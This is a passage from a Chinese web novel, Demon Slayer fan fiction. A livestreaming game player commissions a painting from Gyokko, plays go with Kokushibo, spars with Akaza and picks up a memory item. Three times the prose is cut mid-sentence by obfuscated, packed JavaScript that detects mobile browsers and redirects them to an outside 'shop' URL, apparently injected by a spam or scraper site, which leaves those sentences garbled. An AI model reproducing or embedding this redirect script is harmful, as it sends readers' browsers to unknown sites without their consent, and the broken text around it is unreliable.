“我这次来,还有一件事。” “什么事,”玉壶现在心情好得不得了,哪怕是要让他去摘天上的月亮,他都能考虑考虑,“您尽管吩咐!” “找你帮个忙。”朝奈晃了晃手里突然出现的素白画轴和笔墨,“想请你画一幅画。” 玉壶一副跃跃欲试的表情,“画画好啊,画画我特擅长。” 他期待地搓着手,“您想画什么?风景?人物?还是...” “想画个人。”朝奈说,“一个穿着深紫色和服,在竹林里练剑的少年。” “哦对,瞧我这记性。”她演技颇为浮夸地拍了拍脑袋。 “忘了你不知道,其实就是黑死牟人类时期的样子啦。” 听到那个名字的瞬间,玉壶的表情僵住了。 “那、那个...”他的声音开始打颤,“这个主题...会不会...太...太...” “太什么?” “太危险了!”玉壶差点哭出来。 “您知道那位大人——黑死牟阁下,如果他知道我画了他人类时期的样子,还画得不好,我会被做成壶的!不!比做成壶更惨!他会用虚哭神去把我切成一千片,每一片都刚好是一块壶的碎片,然后——” “停。”朝奈抬手打断他的臆想,“放心,画是送给他本人的。” 【主播你真的不是故意在吓他吗】 【玉壶你就放一万个心吧!保证会出事的!】 【壶宝放心飞,出事自己背】 【现在的互联网也是越来越发达了,你甚至可以看到鬼灭主播在地狱难度里玩弄上弦】 玉壶的哭声戛然而止。 他不可置信般眨了眨眼睛,表情刹那从惊恐变成了更惊恐。 “您、要把画、送给黑死牟阁下本人?”他的声音尖得几乎破音,“那我更完蛋了!万一他不喜欢!万一他觉得我亵渎了他的过去!万一——” “他不会的。”朝奈直接把画轴塞进他手里,“相信我。” 玉壶抱着画轴,像抱着一包即将爆炸的炸药。 他看了看朝奈笑意盈盈的脸,又低头看了看怀里的画轴,最后只能认命般地叹了口气。 “所以...要怎么画?” “先画一大片竹林吧,”朝奈说,“月光照耀下的竹林。” 玉壶颤抖着手铺开画纸,他的笔尖悬在半空,迟迟不敢落下。 “万一竹叶画得太密,那位大人觉得我在暗示他阴暗怎么办?”他小声嘀咕,“如果画得太疏,他可能会觉得我不够尊重竹林这个意境...” “就按正常的竹林画。”朝奈扶额。 玉壶深吸一口气,终于落下第一笔。 墨色晕开,竹影渐现,但他画了两笔就要停下来,紧张地看向朝奈,“这个竹节的高度合适吗?会不会让那位大人联想到什么不愉快的事?” “竹节就是竹节。”朝奈耐心地哄着玉壶说,“你继续。” 接下来是月光。 玉壶换了一支最细的笔,蘸了银灰色的墨。 他的手抖得像在筛糠,“这个光斑的亮度...会不会太亮,显得很轻浮?可是太暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122975|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又显得太压抑...” 朝奈按住突突直跳的太阳穴,很显然她的耐心有限,“自然一点就好。” “自然...自然...”玉壶喃喃自语,小心翼翼地点下几缕光斑。 每点一下,他的脸色就白一分,仿佛他正在为将近的死期写遗书。 终于到了最关键的部分,人像。 玉壶的笔尖悬在少年该在的位置,迟迟不敢落下。 “我、我不敢。”他真的快哭了,“如果表情画错了,眼神不够专注,衣褶画得不够利落、那位大人会生气的!他一定会生气的!” 朝奈努力想了想措辞,最后淡淡开口:“这样吧,你就想,如果画不好,黑死牟大人会来找你算账。” “但如果现在不画,我会立刻去找他,告诉他你拒绝为他作画。” 玉壶的脸色瞬间青了,紫了,黑了,最后变得无比惨白。 “对不起!我现在立刻马上就画!”他几乎是流着两行血泪提起笔,带着某种已做好的觉悟,蘸上了深紫色的墨。 【这就叫做,西西物质魏骏杰】 【我在屏幕前笑得满地找头,主播你赔我】 【以前咋没发现玉壶老师这么戏精,这是病,得治啊】 笔尖在纸上滑动。 少年的轮廓逐渐清晰,挺拔的身姿,握剑的手,微微扬起的衣摆。 玉壶画得极其小心,每一笔都像在走钢丝。 到了画脸的时候,他又卡住了。 “眼睛呢?眼睛怎么画?”他颤抖着问,“那位大人的眼睛有六只,但画中是人类时期。我、我没见过他人类时期的样子啊!” “就画普通的眼睛。”朝奈说,“干净,坚定,深处藏着一点孤独。” 玉壶咬了咬牙,点下两笔。 然后,他猛地后退三步,抱着自己的头,发出了尖锐的爆鸣。 “我的鬼生已经彻底完蛋了!这个眼神看起来简直是在瞪人!那位大人一定会觉得我在丑化他!我会死、我会死得很惨!” 朝奈走过去看了看,“这明明就是很正常的专注眼神。” “您不懂!”玉壶抱着头蹲到角落,“黑死牟大人一定能看出其中隐藏的恶意!我完了...我今晚就要被砍成碎片了...” 朝奈叹了口气,走过去拍了拍他的背。 “玉壶先生。” 朝奈认真地说:“这幅画,是我想送给黑死牟阁下的礼物,是我请求你画的。” “如果他不喜欢,责任在我,不在你。” 玉壶愣愣地看着她。 “真的?” “真的。”朝奈点头,“而且,我觉得你画得很好。” 玉壶抹了把眼泪,又看向那幅画。 月光下的竹林里,执剑的少年看起来有些孤独,但挥出的刀却又充满着力量。 画中的一切静谧又凛然。 他慢慢站起来,走到画案前,最后补上了太刀的虚影和几片飘落的竹叶。 放下笔时,他的手不再颤抖了。 “没关系的。”他轻声说,“画完这幅画,我也已经活了上百年,就算要下地狱也是值得的。” “没关系的。” 朝奈小心地卷起画轴,无视掉某位已生无可恋的上弦鬼,步调轻松地向传送点走去。 15. 第十五章 门被轻轻拉开时,烛火劈啪作响,刚好爆开一朵灯花。 黑死牟端坐在矮几一侧,披着深色羽织,虚哭神去斜倚在身侧,刀鞘上的眼球纹路在烛光中缓缓转动。 矮几上已摆好的棋盘纹理细腻,其上棋子黑白分明,已至中盘。 眼前的画面无比熟悉,又和记忆中的模样有些细微的出入。 【这集我好像看过】 【我知道了,接下来奈奈子会坐下来,然后和上弦一开始大眼瞪小眼,谁都不开口】 【已经开始为这俩人着急了】 【直播间的各位,长按屏幕为主播加速】 【算我求你俩了,这次能不能多说点话】 【求也得排队!】 与弹幕所想并不一致。 “执黑执白?”他开口,声音平静无波,六只眼睛抬起,视线扫过朝奈的脸,在她手中的画轴上停留一瞬。 “黑。”朝奈也答得干脆,手已伸向黑棋棋罐。 黑死牟也不再多言,将白棋棋罐移至自己面前。 棋局重开。 朝奈捏起一枚黑子,打量了片刻,圆润匀称,是上好的玉石打磨而成,触感微凉。 开局二十手,两人落子都很快。 黑死牟的棋风一如他的剑技,沉稳中暗藏杀机,每一子落下都经过了深思熟虑,布局严谨,滴水不漏。 朝奈却下得随意,时而长驱直入,时而迂回试探,没有半点章法可言。 “说实话,”她在落子的间隙,对着直播间的观众说起话来,仿佛在实时解说,“我下棋是真没天赋,老师讲定式的时候我睡着三次。” 黑死牟执棋的手微微停顿,下一秒,又落在了棋盘上。 “后来全靠玩游戏,你们都知道云顶之弈吧?” “那种站位,阵容和装备搭配的逻辑,我觉得和下棋有点像。” 【云顶之弈玩家震怒】 【那我们金铲铲玩家算什么】 【算手游玩家!】 【此下棋非彼下棋,差别还是很大吧】 【黑死牟听得懂主播在说什么吗?他怎么都不好奇的】 【游戏特色,对于玩家超出理解范畴的话,自动无视】 棋至中盘,白棋的优势已经逐渐显现,三条大龙遥相呼应,在棋盘上构成一张无形的网,而朝奈的黑子则显得有些散乱,虽有几处巧手,却难以挽回大局。 第四十七手,黑死牟的白棋悬于半空,正欲落在天元附近一处要害。 这一子若落下,朝奈中腹的势力将遭受重创。 “等一下。” 她突然伸手,掌心稳稳盖住了那片位置。 手指纤细,烛光在指关节中投下柔和的阴影,正好挡住他欲落子的位置。 黑死牟的棋子停在半空,他抬眼,静静注视着覆在棋盘上的手。 “你下这里的话,”朝奈仰起脸,烛火在她眼眸中跳动,“我这五颗子不就全死了?” “所以,你能不能换个地方?” 她的语气理所应当,就好像对方本来就该这般。 茶室陷入短暂的寂静,黑死牟的视线在她脸上停留片刻,又落回被遮挡的棋盘。 然后他手腕微转,白子“嗒”地一声轻响,落在了另一处无关紧要的位置。 “很好。”朝奈满意地收回手,从棋罐里捏起一枚黑子,开始思考自己接下来的布局。 【???】 【啊?这就让了?这能对吗?】 【卧槽,那不是一步关键棋么,上弦一你的原则在哪里?底线在哪里?】 【我要举报这里有人公然放水】 棋局仍在继续。 朝奈的黑子依旧散漫,堵住了白棋一处并不重要的攻势。 刚落下她便“啊”了一声,指尖无比自然地将那枚黑子捞了回来。 “悔一步。”她说,动作行云流水,毫无尴尬之意。 黑死牟眼中并无怒意,只平静地看着她,无声之间,目光似乎在询问理由。 “刚才没看仔细。”朝奈迎着那道视线,淡淡地解释,“我棋技不如你,你让着我点,没问题吧?” 她的目光清澈,脸不红心不跳地说着纯赖皮的话。 黑死牟的视线重新落回棋盘,他未回应,但也默许了刚才那一幕所发生之事。 朝奈将棋子落在另一处,这一步明显高明许多,不仅化解了局部危机,还为后续的长线局势埋下伏笔。 【主播这一手悔棋实在是太自然了,我都没法反驳】 【黑死牟(沉默):你开心就好】 【我算是看明白了,这哪里是放水,这得放了个太平洋】 【你舅宠她爸!】 接下来的对局,呈现出一种奇妙的平衡。 白棋依旧凌厉,攻势一波接一波,却总在关键处留黑子一线生机。 黑棋左支右绌,倒也能勉强守住基本盘面,偶尔还能反击一手。 棋至一百手以上,局面已临近终盘,白棋胜势明显,黑棋也凭借中腹一处巧妙做活,算不上输得太惨。 “要结束了。”黑死牟开口,这是他棋局开始之后说的第二句话。 朝奈点点头,捏起一枚黑子,却迟迟未落。 她的目光在棋盘上游移,最后停在一处无关胜负的位置。 “就下在这里吧。”她说,棋子落下。 黑死牟看着她落子的地方,沉默片刻,执起白子,落在了相邻位置。 两人就这样一着一应,将棋盘上剩下的空白填满,避开了所有可能引发局势动荡的地方。 局面陷入了诡异的和平之中。 最后一子落下。 数目。 白棋胜一目半。 “我输啦。”朝奈推开棋罐,声音很是轻快,面上带着淡淡的笑意,“不过输得倒是挺开心的。” 黑死牟开始收子,动作缓慢而优雅。 白玉与墨玉相撞,发出清脆悦耳的声响。 “为何开心?”他忽然问,手中收子的动作未停。 “因为看见了精彩的对局啊。”朝奈边收黑子边说,“而且你最后,完全就是在让着我。” “没有让。” “那为什么不堵住我的生路?” 黑死牟的手停住。 “因为,”他缓缓回答,“那局棋,早就结束了。” 说完这句话之后,他便陷入了以往一贯的沉默中。 朝奈倒是听明白了。 他说的那局棋,并不是眼前这盘实力差距过大而没有悬念的棋局。 而是一盘,在数百年前就已经下完,没有悔棋机会的、名为人生的棋。 她的耍赖和悔棋,或许让他想起了一些本不该存在的记忆,以至看见了另一种结局的可能。 两人在沉默之中收完棋子,棋盘变得空荡荡的,仿佛方才那场激烈的厮杀从未发生。 就在这时,朝奈从旁边拿起画轴,轻轻放在矮几上。 “送你的。” “我请玉壶画的。”朝奈解开画轴上的丝带,动作轻柔地展开画卷,“画的是——” 她未说完,只用眼神示意对方看。 光线透过窗户,刚好洒在画上。 一大片月下竹林出现在眼前,竹影摇曳,月色如霜,使得氛围更显寂寥。 黑死牟的目光盯着画中身着深紫色和服的少年背影。 好一会儿,他才低声开口。 “为何送我此物?” “想送就送了。”朝奈看着他悬在画纸上方的手,缓缓说,“一定要选一个理由的话。” “有些过往不该被遗忘,它们值得被珍藏。” 有些,过往。 黑死牟骨节分明的手指轻轻拂过画上的竹叶,然后是少年的衣襟,最后停在那双眼睛上。 “画技,尚可。” 他将画轴缓缓卷起,卷好后没有归还,而是放在了自己身侧。 [系统提示:赠送物品成功,黑死牟好感+10] [特殊状态“月之注视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122976|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”已升级为“月之共鸣”] [状态描述:你的存在会引发他内心深处的共鸣,某些被时间掩埋的情感将悄然浮现。] “那个,”朝奈清了清嗓子,试图让气氛轻松些,“你也看到了,我的棋下得并不算好。” “不过呢,我觉得下棋挺有意思的。”她继续说,“所以,以后能常来这里下棋吗?” 她努力让自己看起来真诚又无害。 “当然,主要是想学习,都说观棋如人生,我想多看看棋路,说不定能悟出点什么。” 【主要是想学习吗?那很坏了】 【醉翁之意不在酒,主播你继续演】 【主播棋下得不行,演技倒是蛮好】 【鹅鹅鹅,以后直播间开个栏目,专播下棋,号召广大棋友前来指导】 黑死牟的目光在她脸上停留许久。 “每月朔日。”他最终说,“可来一局。” 朝奈的眼睛弯起,“那就说好了哦,下次我带茶叶来好了。” 她起身,羽织下摆在坐垫上轻轻拂过,走到门前时,她忽然停下,回头。 纸门半开,光线从门外洒入,在地上投下一道清辉。 她轻声说,“那幅画,我给它取了个名字。” 黑死牟的身影在烛光中微微一动。 “叫月下萤火。”朝奈笑着说,“我觉得很合适。” 说完,她拉开纸门,步入廊下月光中,纸门在她身后无声合拢。 棋室内重归寂静。 黑死牟独自坐在原地,许久未动。 烛火渐弱,光影在他脸上摇曳。 虚哭神去静静倚在身侧,刀鞘上的纹路仿佛也陷入了沉睡。 不知过了多久,他才伸出手,再次展开那幅画轴。 月光下,少年那双眼里,带着他早已遗忘的、属于人类的温度。 他看了很久。 久到茶杯里的水彻底凉透。 “萤火么。” “倒也,贴切。” 他低声喃喃,声音消散在空寂的茶室中。 - “每月朔日,可来。” 每次去都带点小礼物涨涨好感,任务岂不是简简单单? 回去的路上,朝奈在一条回廊的转角处撞见了猗窝座。 他靠在墙上,抱着手臂,在昏暗的光线下静静地看着她。 身上的伤口已经愈合了大半,只有几道最深的还留着淡粉色的新肉痕迹。 【不是我说,主播真有点吸上弦鬼的体质吧?】 【太好了是三哥,我们有救了】 【我看了这么久,感觉主播无时无刻不在和上弦打交道】 【放其他直播间哪有这待遇,还是这里有意思】 “你去见了黑死牟。” “嗯。”朝奈点头,“送了点东西。” 猗窝座沉默了片刻,眼眸里闪过一抹讶异。 “你很强。”他忽然说。 朝奈挑眉,还有点不习惯,“怎么突然夸我?” “不是夸。”猗窝座站直身体,目光锐利地锁在她身上,“能从黑死牟那里活着出来,不是运气。” 他向前走了一步。 “我想知道,”他的声音染上点亢奋,“你到底有多强。” 朝奈笑了。 虽然大概率被他误解了,但眼下这个情况正合她意。 毕竟,和上弦切磋一次增长的经验值非常可观。 她退后一步,活动了一下手腕。 “想知道的话,”她赤瞳里闪过一丝期待的光,“打一场不就清楚了?” 猗窝座皱着眉,“我不打女人。” “那还真是可惜。”朝奈话音未落,身形已经动了。 【那还真是可惜,因为主播从来没有不打男人这一说】 【卧槽卧槽,战力党最期待的一集终于来了】 【我倒要看看三哥和奈奈子谁更强】 【来来来,买定离手,我赌五毛钱的,主播赢!】 16. 第十六章 朝奈脚下的地面瞬间蔓延开霜白色的冰雾,周遭温度骤降,空气中的水汽凝作细密的冰晶。 她仿若融入了骤起的寒霜,身影变得模糊。 下一瞬已出现在猗窝座侧后方,指尖缠绕着肉眼可见的寒气。 “因为,”声音几乎擦着他耳畔响起,带着刻意压低的调笑,“我打架的时候,可从来不看对手是男是女。” 动作快得在空气中留下几道残影,凝结的冰刃划出一道凌厉的弧线,直刺咽喉。 猗窝座的瞳孔骤然一紧。 他猛地向后仰身,冰刃擦着他的下巴划过,带起几缕被切断的发丝。 “反应很快嘛。”朝奈的语气里带着几分真切的称赞。 几乎是同一刹那,猗窝座的右手也蓄力抬升,掌根精准地反制朝奈持刀的手腕,势要将她的动作锁死。 见状,她的手腕在空中灵巧的一折,卸去了他的力道。 冰刃脱手飞出,在空中划了个圈,眼看这次攻击很难再有后续,朝奈的身形隐入周围渐浓的雾霭中,伺机待发。 “躲藏可不是强者的作风。”猗窝座的声音在空荡的回廊里荡开。 雾中传来轻笑,清脆如风铃:“急什么?这不就来了么。” 话音未落,他脚下的地面骤然凝结成冰,霜气顺着呼吸自下而上。 他足尖轻踏跃起,原处的冰面瞬间拱起数道冰刺,与此同时,他的拳也已至雾气最浓处。 “铛——” 冰罩碎裂,雾霭散开一瞬,隐约露出朝奈的身影。 “拳头挺硬。”她身前的雾气瞬间凝成无数冰针,寒芒毕露,“但打不中就没意义了哦?” 边缘锋利的冰针,旋转着切割空气,突刺向猗窝座各个关节与眼目。 “雕虫小技。” 面对这直击要害的一招,他没有任何要躲开的意思,只简简单单轰出一拳,前方的空气便被压缩,冲击波呈扇形扩散。 所有突刺而来的冰针如同撞上一堵墙壁,在刺耳的碎裂声中尽数化为齑粉。 朝奈拍掉肩头被吹得倒卷的冰晶,借着拳风的间隙中缓步前移,声音透过未散的霜雾传来,“你的破坏杀确实很厉害,所以我有点好奇。” “变成鬼之前,你学了多久的武术?” 猗窝座动作微不可察地停滞了一瞬,眼底闪过一丝极淡的怔忪,快得宛若错觉。 就是这一瞬的空隙,朝奈趁机切入他防御空档,指尖带着寒意,轻轻点在他的肘关节处,“这里,发力的时候习惯性后收,好像是某种古流拳法的收势习惯吧?” “没有多年的练习,根本练不成这样的肌肉记忆,也发挥不出这套拳法的全部实力。” “你很啰嗦。”猗窝架住她下一击,并不准备回答她的问题。 朝奈借他的力道向后轻翻,足尖点在廊柱上旋身,堪堪躲过他接踵而至的破坏杀·乱式,拳风擦着她的发梢扫过,震得廊柱上浮现出一道道波纹状的裂痕。 “这话很伤人呢,战斗时连呼吸都压抑着,不累吗?要不要我教教你,如何在激烈运动时保持正常对话?” “不必。”猗窝座的回应冷硬,拳风却愈发凌厉,破坏杀的招式层层叠叠展开,拳影裹着劲风,将周遭的雾气震得四逸。 两人在回廊中穿梭,冰刃与拳风交错,却没有一次能真正击中对方的要害。 一场势均力敌的交锋。 猗窝座眯起眼睛,目光锁住寒霜中那道灵动的身影。 他已经很久没有遇到过这样的战斗了。 有意思。 他眼中的战意愈发沸腾起来。 朝奈又一次化解对方的破坏杀·灭式,忽然换了话题,“对了,你身上的刺青是什么意思?自己选的还是变成鬼时就有的?” “与你无关。” 拳风徒然加重,她早有预料,身形掠向回廊的顶端,躲过了这记不再控制力道的重拳。 拳头轰在地面,木板应声碎裂,无数碎片混着木屑四处飞溅,连空气中的冰雾都被这股力道震得消散了大半。 “生气了?”她定住身形后稳稳落地,声音里带着笑意,“生气的样子也挺可爱的。” 猗窝座缓缓直起身,金眸深处那簇被点燃的怒意燃烧得更加炽热。 他盯着她,一字一顿:“你、找、死。” 朝奈丝毫没有被杀气震慑的迹象,“光是放狠话可不够看哦,来点实际的?” 话音未落,她足下冰面骤延,霜白色的雾气随着她的移动凝成更多冰刃,攻向对方的角度无比刁钻。 猗窝座沉心静气,脚下罗盘淡蓝色的光芒亮起,拳风震荡空气以干扰雾气流动,试图捕捉她真身移动的规律。 冰晶碎屑与激荡的气流在回廊中四散飞溅。 朝奈如同在刀尖上起舞,每一次闪避都险之又险,却又总能以毫厘之差避开攻击。 她的声音依旧带着笑意,穿透激烈的交锋声,“不说话?让我猜猜。” 朝奈旋身避开一记侧踢,冰刃在手中化作一面小巧的冰罩,格开紧随其后的肘击,借力滑开数步,“刺青是蓝色的,罗盘像雪花?嗯...该不会和你人类时的名字有关吧?猗窝座听起来可不像是本名哦。” “闭嘴!”猗窝座攻势骤然狂暴,破坏杀·灭式的威力全开,拳影几乎连成一片光幕,将朝奈完全笼罩。 朝奈眼中终于闪过一丝认真,她不再一味游斗,双手在身前虚合,周身的寒气瞬间向内坍缩,然后在下一瞬轰然爆发。 这是她在方才的切磋中经过升级的鬼血术。 “霜息·千华绽。” 以她为中心,无数细密而尖锐的冰花刹那绽放,层层叠叠,每一片花瓣都锋利如刀,带着极寒的气息向外急速扩张。 猗窝座的拳影与冰花悍然对撞。 “轰——!!” 剧烈的爆炸声在回廊中回荡,冰晶与斗气的碎片四射,两侧的墙壁和廊柱上瞬间布满了深深的划痕与凹坑。 雾气被彻底震散,露出了两人清晰的身影。 朝奈微微喘息,发丝有些凌乱,额角渗出细密的汗珠,但眼神依旧明亮,甚至带着兴奋。 猗窝座站在数步之外,拳头上覆盖着一层薄霜,正被他涌动的斗气迅速蒸发。 他身上的武道服出现了几处被冰刃边缘划开的细小裂口。 眼中的怒意被更加深沉光芒取代。 “不错。”他沉声道,声音里带着对实力的认可,“这一招,够资格让我记住。” “只是不错?”朝奈挑眉,散去残余的冰花,活动了一下有些发酸的手腕,“猗窝座阁下的要求可真高。” 猗窝座没有接话,只是认真打量着她,眼里带着点他自己都未察觉到的兴味。 他转身,似乎不打算再继续这场切磋。 “等等。”朝奈叫住他。 猗窝座脚步一顿,没有回头。 “这就走了?”朝奈的声音响起,带着点打完架后的轻快喘息,“是不是有点不够意思?” 猗窝座脚步未停,只淡淡抛下一句:“切磋已毕。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122977|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “是吗?”朝奈身影一晃,瞬间闪至他身前,挡住了他的去路。 “猗窝座阁下,你刚才打得不爽吗?” 猗窝座眉头蹙起,眸中闪过一丝不耐烦,似乎觉得她这个问题既无聊又僭越。 “战斗只有胜负。”他硬邦邦地回答,试图绕开她。 “哦?只是胜负?”朝奈却不依不饶,忽然伸出手,轻轻握住了猗窝座垂在身侧的手腕。 猗窝座身体猛地一僵,几乎是条件反射地想甩开,但朝奈的手指已经搭上了他的脉搏。 她的指尖冰凉,触感异常清晰。 “那这是什么?”朝奈抬起眼,直视着他瞬间变得有些凌厉的金眸,笑意盈盈,语气却带着一种了然于心的调侃,“脉搏跳得这么快,肌肉还紧绷着没完全放松。” “你的身体明明还在兴奋地回味刚才的战斗,怎么嘴上就急着否定,急着要走呢?” 她故意用一种恍然大悟的语气说:“哦,我懂了,你是不是害羞了。” 【瞧瞧,瞧瞧,这教科书级别的傲娇】 【时代变了,傲娇已经过时了】 【哎哟我草,这俩人切磋给我看high了,好久没见过这么精彩的战斗了】 【嘻嘻,三哥嘴上说不要,身体却很诚实嘛】 【刚开打我就在录屏,太牛逼了,这么流畅的战斗值得论坛一个置顶加精帖,我现在就去上传】 猗窝座感觉被握住的手腕处传来一阵奇异的麻痒,迅速蔓延至全身。他从未有过这样的体验。 被如此直接地触碰,然后直白地戳穿那连他自己都未曾仔细分辨的战意余韵。 一种混合着恼怒、窘迫和一丝难以言喻的躁动感席卷了他。 “放手。”他的声音压得极低,带着危险的警告意味,但那份不自在显而易见。 朝奈从善如流地松开手,后退半步,双手背在身后,依旧笑吟吟地看着他,仿佛刚才那个大胆的举动再自然不过。 “承认吧,刚才你打得也挺痛快的,对不对?找个势均力敌的对手可不容易。” 猗窝座紧抿着唇,金色的眼眸瞪着她,胸膛微微起伏。 讨厌这种被看透,被牵着鼻子走的感觉,但他没办法反驳。 他已经很久没遇到这样有趣的对手了。 沉默在弥漫着冰屑和木屑气息的回廊中持续了几秒。 “你,”他终于开口,声音依旧硬邦邦的,多了些别扭的意味,“很强。” 这是他能给出的最高级别的认可了。 朝奈趁热打铁:“那下次再切磋?” 免费的升级机会不要白不要。 猗窝座别开视线,“武道场,有空的时候自己来。” 说完,他身影便消失在原地,只留下一阵掠过的疾风。 朝奈看着他离开的背影,伸展了一下因激烈战斗而有些酸软的肩背。 【主播的操作是真牛,学不来】 【我要是有这么好的技术,我也去找上弦干架】 【笑死,我论坛首页全是和三哥的战斗视频切片,主播好火喵】 【战力党闻着味就来了,前排全是蹲切磋结果的,想不到吧,点到为止】 【奈奈子天赋好强,为什么我就没这水平(恼】 “天赋吗?”朝奈看着那条弹幕,不以为然。 她从《塞尔达传说》搓到《只狼》,从《鬼泣》砍到《艾尔登法环》,反应速度和肌肉记忆是成千上万小时堆出来的。 天赋?这叫游戏发烧友的基本素养。 17. 第十七章 “你们不觉得,看他那种明明很想打,却又硬要装作不在乎的样子,特别好玩吗?” 朝奈回味着某人临走时的表情,有些恶趣味的开口。 【恶趣味主播,但我喜欢】 【请狠狠玩弄三哥(物理意义上】 【等着吧,下次切磋我一定记得开录屏,然后狠狠复盘偷学技术】 【所以主线任务呢?青色彼岸花不找啦?】 “主线当然要做。”朝奈调出系统面板,“不过在那之前,我得先处理一下刚刚弹出来的特殊事件。” 系统提示声很应景地响起。 [特殊事件触发:无限城·碎片回廊] [描述:鸣女的琵琶声似乎捕捉到了一些逸散在空间夹缝中的记忆碎片,可能与某些被遗忘的往事或隐藏的通道有关,地点已标记。] [提示:此事件为限时探索型,危险度中等,建议玩家量力而行。是否接受?] “哦?”朝奈挑眉。 限时事件,通常意味着少量的时长和不错的奖励。 “接受。” 新的坐标在她地图上亮起,位于无限城更深处,结构更不稳定的区域。 直播间观众瞬间亢奋起来。 【我草,特殊事件!难道说?】 【中等危险度有啥提醒的必要,对主播来说不是小菜一碟?】 【说不定能挖到点猗窝座的过去】 【也有可能和童磨有关(笑)】 【没人猜上六兄妹吗,或者是鸦天狗?】 走在错综复杂的新地图中,朝奈一边警惕着可能出现的怪物和陷阱,一边和弹幕闲聊。 刚才与猗窝座一战消耗了不少精力,但日与月的祝福带来的恢复力加成buff正在缓慢生效,让她感觉还不错。 “你们说,猗窝座身上的刺青,到底是什么来历?”她旧话重提,“总觉得不像单纯装饰。” 【可能是他人类时期家族的纹章】 【或者是他修炼的武术流派的标志】 【总不能是他变成鬼时,无惨给他刻上去的标记吧?那也太变态了】 朝奈若有所思,“看他当时的反应,他或许记得些什么。” 【主播想知道他的过去?】 【小心玩火自焚哦,三哥看起来不像喜欢回忆过去的人】 【总觉得三哥的过去可能和其他上弦鬼不太一样】 “探索未知是游戏玩家的天性嘛。”朝奈解释道,“而且,了解一下他的过去,有助于在游戏里建立更稳固的关系?” 语气里带着点不确定的意味。 说笑间,她已来到了标记地点附近。 这里的结构更加复杂,光线昏暗,空气里萦绕着无数人低声絮语汇聚而成的嗡鸣。 朝奈放轻脚步,循着系统的引导来到了一处断墙面前。 墙面上布满了龟裂的纹路,缝隙中隐隐有红光透出,那些纷杂的低语似乎就是从这些裂缝中泄露出来的。 看来东西就在这里。 朝奈伸出手,试探性地将手掌贴上墙面。 裂缝中的红光微微一亮,逸散的低语瞬间变得清晰了许多。 【这音效好诡异】 【主播小心点,感觉不太对劲。】 朝奈凝神,按照系统引导,将意识集中在接触本身。 纹路明暗闪烁,一道青白色的光芒从裂隙中亮出,缓缓落入她掌心。 光芒逐渐收敛,最后化作一枚半个巴掌大的玉佩。 伴随着玉佩而来的,还有一段在脑中快速闪过的残缺记忆。 -冰冷的雪地,刺骨寒风,膝盖陷入冻泥的钝痛,肩背烙印滚烫。 -温暖的指尖带着药香,小心翼翼触碰伤口。 -破旧房屋的霉味,一碗难得的白粥被塞到手里。 -道场木地板的气味,阳光透过窗棂的灰尘,汗水滴落的声音。 -然后是铺天盖地的白色,信件,大雪,哭泣的女孩。 记忆断断续续,甚至无法将其连接成一段完整的故事,但那份悲伤的情感基调令人难以忽视。 [获得特殊物品:残温之佩(承载执念与情感的载体)] [物品描述:一枚看似普通的青白玉佩,被一段交织着救赎、谎言、温情与死别的过往浸润,已非寻常之物。] [内部封存着狛治与重要人物相关的记忆,触及者可感知其残留的情感与关键记忆影像,与猗窝座的过去核心密切相关。] [提示:该物品蕴含的情感异常强烈,是否进行更深入的感应?温馨提示:需消耗较多精神力,可能引发较强情感共鸣,该任务没有时限。] 朝奈捏着手里冰凉的玉佩,选择了[否]。 提示说了这个任务后续随时可以继续深入。 而且,直播间刚刚有弹幕提到,制作组在游戏主页面发布了公告,今日的少量更新是一个限时的节日活动,奖励非常可观。 她确认了一下自己游戏界面的公告,这个限时活动被分类在“寻找青色彼岸花”大主线的分支里。 综合考虑下来,她现在应该去做限时活动。 “限时探索事件完成。” 系统的提示声伴随着空间传送的嗡鸣声同时在耳边响起。 主线任务地点会自动在地图上进行标记,看位置她现在要去往的地方是万世极乐教。 童磨平日的所在地。 [版本更新公告:七夕佳节将至,特开启限时活动“缘结七夕”。活动期间,玩家可与任意一位亲密度达到友善以上的玩家或好感度大于10的NPC组队,挑战特殊双人副本。副本通关可获得稀有道具及特殊称号。祝各位玩家游戏愉快!] 朝奈的目光扫过“组队”、“双人副本”、“稀有道具”这几个关键词,脑中已经开始盘算找谁组队最合适。 不少水友开始自荐,她想也没想直接拒绝了,观众纷纷吐槽她冷血无情。 “一天之内把亲密度刷到友善以上,做得到的话我现在就拉你们组队。”看着刷屏的弹幕,她有些好笑地说。 【可恶啊】 【鬼灭的好友系统特别鸡肋,亲密度还涨的特别慢】 【谁能想到会突然出这么个活动啊!】 “只能考虑和NPC组队了。” “猗窝座肯定是个好打手,但以他的性格,肯定会拒绝这种麻烦的活动。” “玉壶就算了,这家伙脑子有点不正常,不太想招惹。” “黑死牟的话,好感度倒是够,也很可靠。” 